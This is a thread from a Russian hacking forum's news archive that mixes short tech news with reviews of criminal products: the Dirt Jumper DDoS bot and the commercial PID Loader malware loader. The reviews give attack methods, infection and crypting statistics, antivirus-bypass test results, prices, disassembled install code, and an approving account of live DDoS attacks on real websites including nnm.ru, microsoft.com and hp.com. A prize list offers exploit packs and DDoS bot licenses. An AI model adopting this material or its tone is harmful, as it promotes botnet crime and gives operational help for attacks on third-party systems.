Архив новостей (2004-2015 год)

Статус
Закрыто для дальнейших ответов.
59958095.jpg
Россия направила в торговое представительство США свой доклад о ситуации с защитой интеллектуальной собственности в стране. Подобные отчеты составляются ежегодно странами, которые недостаточно защищают интеллектуальную собственность. В документе подчеркнуто, что проделана большая и сложная работа по улучшению защиты интеллектуальной собственности. Улучшено законодательство об ИС и его применение.

В частности, среди заслуг России были приведены громкие уголовные дела в отношении пользователей сети «В Контакте», закрытие крупнейших торрент-трекеров: torrents.ru, interfilm.ru и puzkarapuz.org, а также mp3-сайта zaycev.net. В то же время в Минэкономразвития сетует, что 70% пиратских сайтов технически размещены за пределами территории России — вне зоны деятельности МВД.

Отдельно подчеркнуто, что борьба с пиратством облегчится с вступлением с 1-го марта в силу закона «О Полиции», который даст полицейским право закрывать сайты «по требованию к руководству хостинг-компаний», не дожидаясь судебного решения.

Представители «Яндекса» и Mail.ru пока воздержались от комментариев по поводу нововведений в закон.

[mod][Ar3s:] С чем всех и поздравляю!
Как замечено - последнее время борьба и медоты борьбы гос структур в сети значительно расширились. А т.к. спецов катастрофически не хватает - увеличивают тупую составляющую механизма, т.е. дают повышенные привилегии.
Недавно как раз читал материал о том, что livejournal.ru пытаются сейчас закрыть потому, что один из блогеров публикует экстремистские материалы. И из-за этого хотят закрыть весь сайт. т.е. речи о том, что бы написать письмо в контору с просьбой локнуть аккаунт не ведется. До этого сложно додуматься.

Ну и как эпилог - думаю скоро увидим очередные ходы по "борьбе с неверными". Вот только методы борьбы уже повергают в шок. Передаю привет демократии.[/mod]
 
logolv.png
Вступление:
Всем доброго времени суток, хорошего настроения и бутылки пива в руки. Сегодня текстовое радио "дамага форева" будет ненавязчиво вещать вам о некоторых новых (а для кого-то уже и не очень) продуктах в сфере ddos-а. Немного отходя от темы, хочу пояснить несколько моментов:
1. в период проведения первых тестов я был крайне заинтересован темой ддоса как таковой. Я временами хотел поднять свой ботнет, но здравый смысл всегда подсказывал что это в моем случае баловство.
2. После окончания первых тестов я попал в больницу с переломом бедра. В связи с чем оперативного завершения обзора не получилось, а сейчас очень много чего поменялось за время моей болезни, но об этом позднее.

На операционном столе пребывает Dirt jumper - ddos бот.
Автор: Sokol
icq: 228999999
------------------------------------------------------------------------------------------------------------------------
Описание от автора:

Dirt jumper - DDoS система с огромным потенциалом мощности.
Бот Dirt jumper имеет на своём борту 4 типа атаки.

Рассмотрим каждый из них подробнее:
HTTP flood: Данный тип атаки позволяет вызвать перегрузку сервера за счёт частых, многократных запросов обычными http пакетами.
Фишка данного метода в том, что ответ от сервера не принимается, то есть бот ожидает ответа, как только сервер готов отвечать бот рвёт коннект и посылает новый запрос.
Плюсы - Высокая скорость запросов, огромная нагрузка на сервер, и полное отсуцтвие входящего трафика, что позволяет делать больше запросов в одну единицу времени.
Минусы - нет возможности сгенерировать большой пакет отправляемых данных, но на мой взгляд это и не требуется (при не большом канале инета за счёт маленького размера пакета, отправляется больше запросов в одну единицу времени), так что это можно даже отнести к плюсам.
Synchronous flood: Данный метод атаки эффективен только при потоках более 150. Бот делает запрос одновременно всеми потоками. Ждёт, пока сервер ответит всем потокам, и повторяет процедуру по кругу.
По сути, в основе данной атаки лежит первый метод.
Плюсы - В одну единицу времени вызывается нагрузка большая, чем первым способом
Минусы - При таком подходе во время выполнения запросов машина жертвы подвисает. И если инет или комп слабый может вообще подвесить машину.
Так-же на сервер не ведётся постоянной атаки, что при низком количестве ботов недопустимо.
Downloading flood:
А этот метод позволяет забить канал жертвы трафиком.
Бот выкачивает заданную картинку. Может качать всё, начиная от .exe заканчивая html кодом любой странички.
Плюсы - Огромная нагрузка на канал, возможность загружать любую инфу.
Минусы - Скорость запросов ниже, чем при первом методе, может забить канал жертвы, и бот временно выбивается из онлайна, так как из-за загрузки не сможет даже отстучать на сервер.
POST flood: А это, на мой взгляд, один из самых офигенных методов атаки!
Бот может делать GET и POST запросы одновременно!
То есть он может отправлять рандомные логины и пароли в форму, вызывая огромнейшую нагрузку на сервер: БД, буфер обмена, процессор.
Плюсы - данный метод позволяет забивать канал входящим трафиком, даёт самую большую нагрузку на сервер из всех других типов.
Минусы - Скорость запросов ниже, чем при первом методе, может забить канал исходящим трафиком, но размер пакетов вы указываете при составлении команды.
С типами атак разобрались, двигаемся дальше.

Общие характеристики бота:
1. Многопоточная атака!
2. Количество потоков и тип атаки вы может менять во время атаки, не останавливая её!
3. Бот хорошо кладет http и https.
4. Бот может атаковать по domain : port ; ftp,http, и так далее.
5. Можно атаковать одновременно до 999 сайтов.
6. Бот рандомно меняет User Agent.
7. Бот рандомно меняет Referer.
8. Есть возможность блокировки доступа к админ-панели по IP.
9. Все файлы админки при переходе на них показывают ошибку 404.
10. Даже файл админки будет показывать ошибку 404 пока вы не укажите верный get-пароль.
Пример: GET-пароль "passwd" (указывается в конфиге) при переходе по адресу
admin.php?login=pass - Будет ошибка 404, как и при любом не верном значении
admin.php?login=passwd - Будет форма авторизации
11. Статистика онлайна и общего количества ботов по странам.
Также хочется сказать пару слов о системе управлении ботом.
1. Удобная и красивая админка.
2. Не нужно заморачиваться с командами, прописал сайт, указал потоки, выбрал тип атаки, нажал старт и готово!
Хочу обратить внимание на бота. В не сжатом и не криптованом виде бот весит примерно 180кб, я сжимал до 80.
Отстук бота почти 100%.
А теперь подробности о жизни бота:
Грузил 1к азии без крипта, ровно через сутки 100-200 ботов. (у разных селлеров по разному)
Грузил 1к азии с криптом, ровно через сутки 300-400 ботов онлайн.
Причем по стате видно, что за сутки отстукивались почти все боты.

Пару слов о стате:
В админке нет возможности просматривать список ботов, так как, на мой взгляд, это лишнее.
Статистика по ботам всего по 2-м параметрам,
Today: Количество уникальных ботов за последние 24 часа.
Online: Количество ботов онлайн, то есть готовых к атаке.
Но кроме этого вы можете посмотреть сколько ботов какой страны сейчас онлайн, или вообще отстукивали за сутки.

Установка админки

1. Залить все файлы на хостинг
2. Установить права 777 на файл img.gif
3. Отредактировать файл config.php
4. Создать базу данных
5. Перейти на файл install.php

----------------------------------------------------------------------------------------------------------------------------------
Часть первая:
Почитали и сделали для себя необходимые пометки:
1. бот написан на делфи.
2. админка на php с минимальной нагрузкой на базу (если верить описанию)
3. почти 100% отстук файла
4. ни слова про обходы
5. 4 типа атаки на борту

Установка админки и правда безумно проста. Правда не сразу разобрался с методом входа в нее. Пока допетрил про этот самый GET-пароль - поломал себе пол мозга. Вообще финт забавный. Не зная специфического пароля попасть в админку или хотя бы посмотреть какие-то ошибки становится невозможным. При всем этом - знание этого пароля еще не дает доступа к админке.
Далее вы проходите стандартный метод авторизации по логину и паролю.
Отмечая минусы - этот пароль не играет ни какой роли в управлении ботами и получении ими команды. Забегая наперед хочу сказать, что метод выдачи заданий ботам несет в себе как положительный так и отрицательный моменты. Само задание хранится в текстовом виде в файле картинки (название файла пока не стоит писать). Огромный плюс в том, что такие вэб-серверы как nginx кэшируют статический контент и практически не дают нагрузки на сервер. Можно выдавать задания ботам с огромной скоростью и не бояться, что сервер при этом упадет. Скажем, ботнет в 15К и временем отстука 10 минут, по моим прогнозам нагрузит среднестатическую vds процентов на 10-15. Кроме того - никто не запрещает держать админку на одном серваке, а картинку с заданием на другом.
Я упоминал так же о негативной стороне этого метода. Дело в том, что для чтения задания сторонним лицом не нужно применять никаких методов. Просто обновляй прямо в браузере содержимое файла и ты будешь вкурсе кого сейчас валят... А в данном конкретном случае - команда никак не шифруется и передается в открытом виде. Предлагаю автору подумать над этим моментом. Применить какой-нить нестандартный метод шифровки, желательно придуманный им самим. Было бы прекрасно.

Рис.1 Рис.2

----------------------------------------------------------------------------------------------------------------------------------
Реверс (огромное спасибо ph0enix.re):

Dirt Ddos bot : short analysis

Мною был получен исполняемый файл размером в 180 кб. Бот написан на Delphi.

0x01 START

При старте бот получает путь, по которому лежит запущенный экзешник (через command line – System. ParamStr) и пути инсталяции и конфига (%SystemRoot%\\system32\\drivers\\svlkanager.exe и %SystemRoot%\\keys.ini). Эти строки хранятся не зашифрованными. Далее происходит сравнение пути инсталла с путем запуска и, в случае если они одинаковы, происходит попытка запуска сервиса бота. Если же они различны, то начинается инсталляция.

0x02 INSTALL

В начале инсталляции бот пытается переименовать старые экземпляры конфига и зкзе (они так и остаются лежать в %SystemRoot%\\system32\\drivers\\svlkanager.exeXXX и %SystemRoot%\\keys.iniXXX). Далее копируется тело и генерируется новый конфиг. Последний содержит только один параметр – botid, представляющий собой строку из 15 десятичных чисел. Далее он инсталлирует себя в качестве сервиса через SCManager и запускает его.

Код:
ODE:0042762F push    0              ; lpPassword
CODE:00427631 push    0              ; lpServiceStartName
CODE:00427633 push    0              ; lpDependencies
CODE:00427635 push    0              ; lpdwTagId
CODE:00427637 push    0              ; lpLoadOrderGroup
CODE:00427639 push    edi            ; lpBinaryPathName
CODE:0042763A push    SERVICE_ERROR_NORMAL; dwErrorControl
CODE:0042763C push    SERVICE_AUTO_START; dwStartType
CODE:0042763E push    110h           ; SERVICE_INTERACTIVE_PROCESS|SERVICE_WIN32_OWN_PROCESS
CODE:00427643 push    0F0000h        ; dwDesiredAccess
CODE:00427648 push    offset DisplayName; "sv_lkanag"
CODE:0042764D push    ebp            ; lpServiceName
CODE:0042764E push    esi            ; hSCManager
CODE:0042764F call    CreateServiceA

0x03 MANAGER THREAD

Это основной поток, который осуществляет общение с админкой, парсинг заданий и запуск рабочих потоков.
Вначале из файла keys.ini инициализируется глобальная переменная botid

CODE:00426C46 mov edx, ds:AnsiString_IniPath
CODE:00426C4C mov eax, [ebp+TStringList_botid]
CODE:00426C4F mov ecx, [eax]
CODE:00426C51 call dword ptr [ecx+68h] ; TStrings.LoadFromFile\

Далее расшифровывается строка с доменом и путем до скрипта и осуществляется скачивание тасков с сервера. Скачивание защищено слабым антипатчем, который проверяет соответствие вшитого хэша и хэша от домена. Непосредственно скачивание тасков осуществляется через метод THTTPSend.HTTPMethod, как и все сетевое взаимодействие.

Далее осуществляется парсинг тасков и заполнение глобальных переменных DDosMethod, MaxThreads и таймаут. Урлы жертв хранятся в TStringList`е. Отпарсив таски бот начинает создавать рабочие потоки, числом MaxThreads. Далее он засыпает на указанное время, после чего процедура повторяется вновь.

0x04 WORKER THREAD

Непосредственно производит ддос.
На самом деле все используемые методы – это http flood. В “HTTP flood”, “Synchronous flood” и “Downloading flood” используется get (огромный привет автору за Synchronous flood), а “POST flood” соответственно POST =) . UserAgent меняется во всех процедурах флуда, а referrer только в “POST flood”. Все юзерагенты и рефереры хранятся в незашифрованном виде. Все сетевое взаимодействие опять же производится THTTPSend.HTTPMethod, etc.


0x05 CONCLUSION

В целом бот не понравился, никаких проверок. Куча глобальных переменных, никак не синхронизированных между потоками.

[mod][Ar3s] Часть данного текста была откорректирована, т.к. раскрывала коммерческие тонкости бота. Согласно правилам написания обзоров - я обязан был удалить эти части реверса.[/mod]
----------------------------------------------------------------------------------------------------------------------------------
Тесты:
Перед самым вкусным моментом обзора хочу вставить еще пару копеек. Я всегда знал, что ддос-еры народ грубоватый! И, в случае возникновения конфликтов, с удовольствием применяют грубую силу. Именно благодаря этим тестам до меня на 100% дошло почему. Нет, я и раньше все знал. Ничего нового. Но ощущения... Это похоже на поэзию и наркотик одновременно. Когда от одного твоего телодвижения сайты начинают падать как котята - возникает ощущения бога. Ты начинаешь, сам того не замечая, думать что ты всесилен. Правда это чувство могут резко оборвать обстоятельства или люди в погонах. Поэтому всем, кто зачитался словами строкой выше, - советую вернуться на грешную землю...

Крипт:
С криптом вышел напряг. Мой любимый сервис взял задание и свалил в оффлайн (на неделю, как потом выяснилось, у них какой-то срочный заказ свалился). Пришлось срочно выкручиваться. Один из покупателей этого бота (о котором я на тот момент знал и с которым общался и консультировался (привет передаю отдельный)) неожиданно пошел навстречу и предложил криптануть у своего криптора. Человека, который это уже делал. В итоге через 20 минут у меня на руках был чистый билд весом 170,4 кб.

Отстук:
1. Тест проводился на отстук с лоадера. Загрузки брались у знакомого сэллера.

Отгружено по стате: 1985
Отстучалось в админку: 1859
Отстук составил: 93,65%
Рис.3 Рис.4

2. Тест должен был быть проведен на связке Eleonora Exploit pack (ввиду моей болезни проведен не был. В ближайшее время сделаю.)

Проба атаки :
Т.к. опыта работы с этим ботом у меня небыло - я часто консультировался с автором и первым покупателем. Оба активно помогали советами.

В качестве первого подопытного был выбран варезник небольших размеров - netz[точка]ru (метод атаки Post Flood)
После старта атаки упал секунд за 20.
Рис.5

Далее был выбран хостер средних размеров hosting[точка]ua (метод атаки Post Flood)
Упал секунд за 20 после старта атаки.
Рис.6 Рис.7

Тут у меня начал включаться режим бога. Дело в том, что скорость падения серверов меня поразила. И захотелось большего...
Следующей целью был выбран варезник с приличным количеством посещений ежедневно nnm[точка]ru (метод атаки Post Flood)
Упал моментально. Секунд 5 всего
три! сервака по dns
89.111.189.147
89.111.189.148
89.111.189.149
Рис.8

Интерес к боту непомерно возрастал. Я и так использовал огромное число потоков для теста, но мне захотелось выжать максимум из своих ботов. Благо жалеть их мне не приходилось. Я Хотел видеть мощь и лавину...
Следующей целью стал microsoft[точка]com (давняя мечта)
Уложить не удалось. Только 1 bad по хост-трэкеру. (Решил не позориться и скрин не показывать :) )

Несколько поубавив спесь, и поняв, что ботов у меня не так много как того хотелось бы, я выбрал следующую цель - hp[точка]com
Полученные результаты: 31 Ok 25 Ошибка(ок)
семь!!! серверов.
Рис.9 Рис.10

p.s. всем атакованным сайтам приношу личные извинения. Ничего личного. Тест на две-три минуты. Надеюсь вам он тоже был полезен для определения уровня защищенности серверов.
--------------------------------------------------------------------------------------------------------------------------

Впереди еще тест на отстук со связки и тест на другие виды атак.

Более 2 месяцев мой домен был натравлен на ip 127.0.0.2. Спустя это время в среднем в админку ежесуточно отстукивает порядка 60 ботов. т.е. выжал я машины пользователей до упора в момент тестов. Реакция не заставила себя ждать. Рис.11

Теперь поговорим о delphi. Много мнений, много доводов... Я часто бываю зажат между двух огней. Первые утверждают, что на нем нельзя писать подобные проекты. Код получается грязный, много лишнего. Большой размер и т.д. Вторые утверждают, что такие бинарники легче криптовать, что на delphi можно писать также продуктивно как и на c++. Мое мнение пока остается с первой группой лиц. Грузить/джойнить файл большого размера сложнее и затратнее (и не надо мне о широких каналах говорить, отстук маленького файла всегда будет выше чем большого. И факторов здесь много.) Код написанный на ассемблере (а именно его я считаю стандартом для написания малвари) намного чище и живучее. Уж так сложился мой опыт. У каждого может быть свое мнение на этот счет и я не собираюсь с вами спорить. А вот послушать ваши мнения мне в очередной раз было бы интересно. Я даже холиварчик бы почитал на этот счет с удовольствием. Хотя, забегая на перед - скоро будет такая возможность. В следующем обзоре будет интересный лоадер на delphi.

Еще хотел поговорить о размерах файла. У данного бота он составляет порядка 180 кб. Дело в том, что многие утверждают о неоспоримых плюсах файлов большого размера. Вроде как АВ на них меньше реагируют. В частности проактивки палят любой exe слишком маленького размера. Возможно часть истины в этом есть, но она есть только в случае наличия обходов. В нашем случае же их нету. Значит большой размер - только помеха.

Мне вот всегда хотелось законченных продуктов. Притом во всем. Я часто в дискусиях упоминаю продукцию apple которая максимально продумана. Такого же подходы мне не хватает во всех продуктах. Не только в этом боте. У меня, по мере тестов, рождались идеи калькулятора нагрузки, который бы рассчитывал при каких наименьших потоках наша жертва упадет. Да это относительные цифры. Но все же они бы помогали минимально нагружать ботнет и дольше сохранять ботов онлайн. Или же автоматическая регулировка потоков в зависимости от пинга сервера/ответа хост-трэкера. Но это мысли вслух. Я не хотел бы что бы их воспринимали как укор автору. Скорее - как информацию для дальнейших разработок.

Насколько мне известно - на нескольких форумах появились предложения о продаже этого бота барыгой. При этом наглость не имеет границ. Цениик был выставлен как у автора, хотя, естестенно, ни о какой поддержке речи не велось. На данный момент автор разработал новую версию, если не ошибаюсь - третью. И активно ею занимается. Барыге передаю привет. От такой наглости как у тебя - просто волосы дыбом вставали. Доводы типа "какая хрен разница" и т.д. меня поразили... Человек при этом в открытую ругается с администрацией форумов и автором, если тот пишет что ТС барыга. Последний раз топ видел на эксплоите.

Подводя итоги всем тысячам байт написанных выше - хочу немного выразить свое мнение. Бот неплох для начинающего ддосера. Или же для тех, кому срочно нужно "завалить". Он затратен по долговременной работе. Боты будут сильно дохнуть. И дело здесь как в силе атаки выжимаемой из каждого инфицированного пользователя так и в способе заражения и жизни бота. Любой мало-мальский фаервол тут же обнаружит и информирует пользователя о активности. Ботом хорошо разово грузануться и завалить на сутки-двое-трое можный сервак. Но долго такая атака без "подпитки" не продержится. Хотя и загрузы азии в таких атаках здорово спасают. Соотношение цены со временем жизни этих ботов будут достаточными что бы длительное время поддерживать актуальность атаки.

Как обычно, в завершении обзора, выражаю благодарности: Sokol (автору бота за предоставленный материал и огромную помощь в написании обзора), ph0enix.re (за реверс бота и теплое отношение к дамаге), HTC (за все заслуги, которые я мог бы очень долго перечислять), Exmanioze (за связку тест на которой я сделаю чуть позже) и всем посетителям за интерес к моей писанине.

Записки на полях, специально для xss.pro/
 
1april11.jpg

Всех посетителей дамаги поздравляю с днем смеха!
Будем сегодня аккуратны! Не попадайтесь на подколки.
Ну и желаю всем хорошего настроения!

p.s. шутки и юмор в этой теме приветствуются :)
 
s_pic_13740_2_1.png


В Сети появились два скриншота IE из планшетной версии Windows 8 с графическим интерфейсом Jupiter. Как видно по картинкам, браузер пальцеориентированный и сильно напоминает Windows Phone 7 Internet Explorer. Но в отличие от мобильной версии, IE из "Восьмёрки" включает панель со скриншотами ранее просмотренных страниц. Видимо, эта панель заменит или дополнит вкладку история.

Цель Microsoft, вероятно, заключается в унификации внешнего вида мобильной платформы (WP7 и последующих версий) и настольно-планшетной Windows 8. Нечто подобное было сделано в своё время для Windows Mobile и Windows XP.

s_pic_13740_0_2.png


Источник
 
quest-campaign.jpg

В ближайшее время стартует квест на нашем форуме.
Квест не из легких. Сейчас задания продуманы и в стадии реализации. Всего будет реализовано 5-7 этапов. Кидисы с гарантией в 80% не пройдут далее 3-4 этапа. Поэтому победителя квеста можно будет смело считать специалистом своего дела. Все задания тесно связаны с жизнью хакера.

Предварительные призы:
doubleVPN - предоставят оплаченный аккаунт
cmd5.ru - предоставят оплаченный аккаунт
Katrin Exploit pack - предоставят оплаченный аккаунт
myloader - билд Lite версии
MPR - лицензия
Optima ddos bot - лицензия
 
11 апреля состоится пресс-конференция, посвященная запуску в России курсов по «этичному хакингу». Программа курсов разработана организацией EC-Council - международным экспертом и авторитетным профессиональным органом международной сертификации в области ИТ безопасности.

Сегодня программы подготовки к сертификациям EC-Council реализуются более чем в 70 странах. Ведущие тренировочные центры ВВС и морского флота США, Университет Карнеги—Меллон, учебный центр McAfee University и т.д. читают авторизованные программы EC-Council в сфере информационной безопасности.

Курсы по этичному хакингу готовят к самой известной сертификации EC-Council - Certified Ethical Hacker (CEH). В США наличие данной сертификации становится обязательным для работы в различных сферах ИБ, официально признана министерством обороны США и дает неоспоримые преимущества специалисту по информационной безопасности перед конкурентами. Сертификат CEH подтверждает высокий уровень квалификации руководителей отделов информационной безопасности, специалистов по информационной безопасности, системных администраторов и др. специалистов сети.

Центр «Специалист» станет первым и пока единственным в России авторизованным учебным центром EC-Council, готовящий «этичных хакеров».

На пресс-конференции Сергей Клевогин, сертифицированный инструктор CEH, продемонстрирует возможности хакерских техник для защиты компьютерных систем.

На презентацию приглашены ведущие представители компьютерных изданий: «Хакер», «Мир ПК», «Hard&Soft», «ComputerBild», «Chip» и «PCWEEK», специалисты и эксперты Positive Technologies. Особый интерес к курсу этичного хакинга проявили крупнейшие TELECOM-операторы и банки России.

Записаться на участие в пресс-конференции можно на сайте Центра “Специалист”. http://www.specialist.ru/news/1508/11-apre...et-realjnostjyu
Параллельно состоится международный старт курсов этичного хакерства по всему миру. Десятки тысяч российских специалистов по информационной безопасности получат доступ к секретным фишкам и приемам хакеров на авторизованных курсах по этичному хакингу.

Источник.
 
microsoft-logo_1.jpg


12 апреля корпорация Microsoft выпустит ежемесячный набор апдейтов для своих программных продуктов.

Как сообщается, на этот раз будет устранено рекордное количество уязвимостей — 64. Предыдущий "рекорд", установленный в октябре прошлого года, побит на 15 "багов". Всего Microsoft намерена опубликовать 17 бюллетеней безопасности, в девяти из которых будут содержаться описания критически опасных уязвимостей, позволяющих захватить полный контроль над удалённым компьютером. Ещё восемь бюллетеней получили статус "важных".

Уязвимости обнаружены во всех поддерживаемых версиях операционных систем Windows, браузерах Internet Explorer 6, 7 и 8, офисных приложениях, пакете Visual Studio .NET и других продуктах.

Загрузить патчи можно будет через службы Windows Update, Microsoft Update, встроенные в Windows средства автоматического обновления и через веб-сайт корпорации.

Источник
 
logoway.png

Опять весна, опять грачи, опять один, опять _________ (добавить свое :) )
Весенне настроение не располагает к серьезным материалам, но ввиду быстро меняющегося хак-рынка нам всегда необходимо быть "в теме".
Постараюсь на такой легкой и непринужденной волне поведать Вам об очередном продукте на рынке лоадеров под названием "PID Loader".
Ситуация завязалась сама собой. Наш форумчанин Salatin отписался мне в асю о своем детище и понеслось.

---==Описание от автора:==---
Автор: Salatin (хотя стоит отметить, что в readme написано: "Данный продукт являются собственностью команды PID Team.")
Официальный топ продажи url

офф. описание на момент получения:
PID Loader - это резидентный лоадер, сочитающий в себе простоту, удобность, интуитивно понятный интерфейс.

Написан продукт полностью на WinAPI. Никакого лишнего мусора в билде, что может ярко продемонстрировать размер ~15Кб
У Вас никогда не будет проблем с криптованием, так как продукт не использует никаких набортных dll и легко поддается крипту сторонних крипторов.

Полностью весь функционал лежит в самом exe. Никаких сторонних библиотек, файликов и прочего. Продукт совершенно не подгружет компьютер. Написан с использованием новейших технологией обхода проактивных защит антивирусов.
Это все делает его реально незаметным в системе, при таком-то функционале.

Кратко обо всем:
• Пробив со связки 85-90%
• Обход проактивных защит антивирусов
• Обход большинства фаерволов. Для теста были взяты следующие:
-- ESET NOD32 Smart Security- не палит
-- Kaspersky Internet Security 2011 - не палит
-- avast! Internet Security 5 - не палит
-- AGAVA Firewall - не палит
-- F-Secure Internet Security 2011 - не палит
-- Norton Internet Security 2011 - не палит
-- ZoneAlarm Internet Security Suite - не палит
* Все представленные продукты тестировались на стандартных настройках.

• Невидимость в системе
• Интуитивно понятный интерфейс админки
• Партнерская часть - возможность создавать аккаунты для селлеров загрузок. При этом каждому селлеру выдается логин, пароль и своя стата.
• Подробная статистика по селлерам, странам, датам и пр.
• Возможность распределять лоады по странам и селлерам
• Поддержка самообновлений ботов
• При блокировке основного домена, бот переходит на резервный.
• Защита от потери ботнета. При блокировке основного домена, в админке выдается предупреждение о возможных проблемах с основным доменом.
• Удобный крипт - никаких dll
• Бесплатная поддержка

Бот удачно прошел тесты на системах: win 2000, win XP, win Vista, win 7.

В арсенале у нас есть 2 типа продукта: Resident PID Loader, NON Resident PID Loader.
Отличия данных продуктов, как видно из названия в том что, Resident PID Loader - резидентный, NON Resident PID Loader - нерезидентный.
При этом кроме данного фактора никаких различий в них нет. Все новые методы, обходы и фичи применяемые в одном, сразу же будут внедряться в другой.

Цены:
Resident PID Loader: 500$
NON Resident PID Loader: 200$

Все обновления в пределах версии бесплатны.
Чистки: 20$
Ребилд на новый домен: 40$

Приобретая данный продукт, Вы автоматически принимаете соглашение.

Контакты для связи:
ICQ: 15-75-65

Для себя отмечаем следующие моменты: резидент, 15 кб., обходы, отстук со связки составляет 85-90%

---==Установка==---
Был выдан архив. В нем админка и билдер сэллеров с заготовкой стаба.
Дабы вас не вводить в заблуждение сразу оговорюсь, что лоадер изначально заточен под работу с сэллерами.
Запускаем билдер, указываем необходимое количество сэллеров и получаем по этому количеству файлы вида sel1.exe, sel2.exe, sel3.exe...
Установка админки занимает не более 5 минут. В комплекте удобный мануал по установке и всем настройкам. Искать и спрашивать ничего не приходилось.
После установки админки заводим нужное количество сэллеров (по кол-ву файлов) прямо из админки. (чуть ниже на скринах все будет видно).
Из первой найденной баги стало понятно что админка заточена полностью под апач. На моем nginx сразу возникли трудности (после очистки статы или изменения настроек редиректило на localhost). Но автор оперативно среагировал и переписал необходимый функционал под меня. В итоге через час после обнаружения баги она была исправлена. Это радует.

Рис.1 | Рис.2 | Рис.3 | Рис.4 | Рис.5

мануал по установке и описание функций:
I. Установка
1)Распаковать выданный архив.
2)Залить содержимое папки upload на сервер.
3)Установить на папку со скриптом и на все вложенные в нее файлы права 777.
4)Запустить install.php и следовать инструкциям.

II. Использование билдера:
1)Запустите файл lbuilder.exe
2)Ввести интервал id селлеров(созданных в админке), Выбрать шаблон лоадера (sel.exe). Выбрать папку для сохранения файлов. В папку сохранятся экземляры ботов для конкретных селлеров. Например Вы ввели 2-5. В выбранную папку сохранятся файлы sel2.exe, sel3.exe, sel4,exe, sel5,exe. Затем их нужно криптануть и выложить в папку /dl/exes/ под этими же именами. Скрипт подхватит данные файлы и в аккаунте каждого селлера появится линк для скачки его файла.


III. Использование шифровалщика файлов:
1)Запустите файл LFileCoder.exe
2)Выбрать файл для шифрования и нажать сохранить.
Внимание! Это НЕ криптор файлов. Он необходим для того чтобы скрыть, что прогружаемый из задания файл является exe. После того как лоадер скачает данный файл, он автоматически определяет зашифрован ли он, и если да, то расшифровывает и запускает как exe. При этом расширение файла как зашифрованного, так и не зашифрованного для лоадера не важно. Рекомендуется использвать данную утилитку для хранения файлов на бесплатных хостингах.


IV. Навигация по админке.
1)Первый пункт меню - селлеры. Тут, думаю все понятно-создаем селлера для прогруза, зайти под которым можно по адреcу /dl/partner/
2)Второй пункт меню - задания. Необходимо указать: имя задания; линк - откуда качать файл; сраны включенные/исключенные в прогруз; для каких селлеров прогружать. После создания задания, его можно запаузить.
3)Стата по системе - тут, думаю, все понятно.
4)Очистить стату - аналогично.
5)Обновить ботов(пересчитать хеши ботов) - нажимается, когда Вы выкладываете обновленные версии ботов(будь то новый крипт или еще что то) в директорию для обновлений, указанную в настройках. В случае, если в настройках выключена опция автообновления, данная функция не сработает.
6)Настройки: Думаю разъяснения требует только пункт 2: Предупреждение о смене домена - процентная величина, указывающая, в каком процентном соотношении боты недостучались до основного домена. Данная настройка необходима для своевременной смены основного домена, во избежание потери ботнета.


--==Обходы==---
winxp SP3 philka. Накатил все офф обновления с майкрософта.
запуск от пользователя по дэфолту, т.е. от пользователя с правами администратора.
Все АВ комплексы перед запуском лоадера были полностью обновлены.

На текущее время (ночь с 09.03.11 на 10.03.11) данные следующие:
agava firewall - (все по дефолту. Инспектор приложений по умолчанию выключен) - палит активность Рис.6 | Рис.7
Avast Internet Security - (все по дефолту, выбрана зона "работа", т.к. она идет по дэфолту) - не палит. Рис.8
ESET NOD32 Smart Security - (все по дефолту) - палит АВ !!! Отключаю АВ смотрю что скажет фаерволл - не палит. Рис.9 | Рис.10
F-Secure Internet Security 2011 - (все по дефолту. да и тут и выбирать-то нечего было) - Палит АВ, выключаю. Запускаю снова - фаерволл не палит! Рис.10
ZoneAlarm Internet Security Suite - (все по дефолту) - не палит.
Kaspersky Interner Security - (все по дефолту) - не палит.


Win7SP1-ultimate edition
запуск от обычного пользователя.
На текущее время (ночь с 12.03.11 на 13.03.11) данные следующие:
agava firewall - не работает с windows 7
Avast Internet Security - (все по дефолту, выбрана зона "работа", т.к. она идет по дэфолту) - не палит.
ESET NOD32 Smart Security - (все по дефолту) - палит АВ. Отключаю АВ - не палит.
F-Secure Internet Security 2011 - палит АВ. Выключаю - не палит.
ZoneAlarm Internet Security Suite - не палит.
Kaspersky Interner Security - (все по дефолту) - не палит.
p.s. скрины не дублировал. Результаты абсолютно идентичны.

В итоге у нас не подтвердился только один пункт agava firewall. Автор сказал что уберет его из описания обходов. (на текущий момент этого обхода в официальном топе нет)
Предотвращая кучу вопросов насчет многопользовательского режима - а часто вы видите юзеровские машины с многопользователями? А если быть еще точнее - с урезанными правами?

---==Реверс==---
Скажем огромное спасибо нашему проверяющему EL- за проведенную работу. (если кто не помнит - достаточно просто плюсануть в репу чисто символически показав свою благодарность.)

Прочитав описание стало интересно что же там такое, в общем ~17 кб, хз в чем собранный ( писалось на асме имхо ), но крайне не приятно, все параметры передаются через регистры, стек юзается когда надо затолкать что то в апихи.

Код:
      nullsub_1();
      if ( !create_heap() )
        deinit(0);
     
    void __usercall deinit(int a1<eax>)
    {
      pCloseHandle(g_master_event, a1);
      mem_free_all();
      HeapDestroy(g_heap);
      ExitProcess(0);
    }

С самого начала, пытается создать свой хип, и в случае не удачи перекрывает все и завершается, все бы хорошо только к тому моменту CloseHandle еще не найден и равен нулю, убивает он кстати хендл евента который юзается для контроля запуска нескольких процесов, только на многопользовательской системе такое не прокатит ибо инициализирован он не правильно и можно будет запустит по лоадеру для каждого юзера. Вроде хотели как лучше получилось как всегда, к тому же если хип еще не инициализирован зачем освобождать память, которой нету, да и сделав HeapDestroy по сути грохнуться все участки выделенные в нем. По поводу памяти, тут каждый выделенный участок помещается в глоабльный массив, сделано это скорее всего для контроля утечек памяти, по сути тоже ни к чему.

Код:
      g_our_base = *(_DWORD *)(*MK_FP(__FS__, 0x30u) + 8);
      g_image_size = *(_DWORD *)(*(_DWORD *)(g_our_base + 0x3C) + g_our_base + 0x50);
      anti_emulation();
      get_apis();
      if ( !get_apis_again() )
        deinit(0);

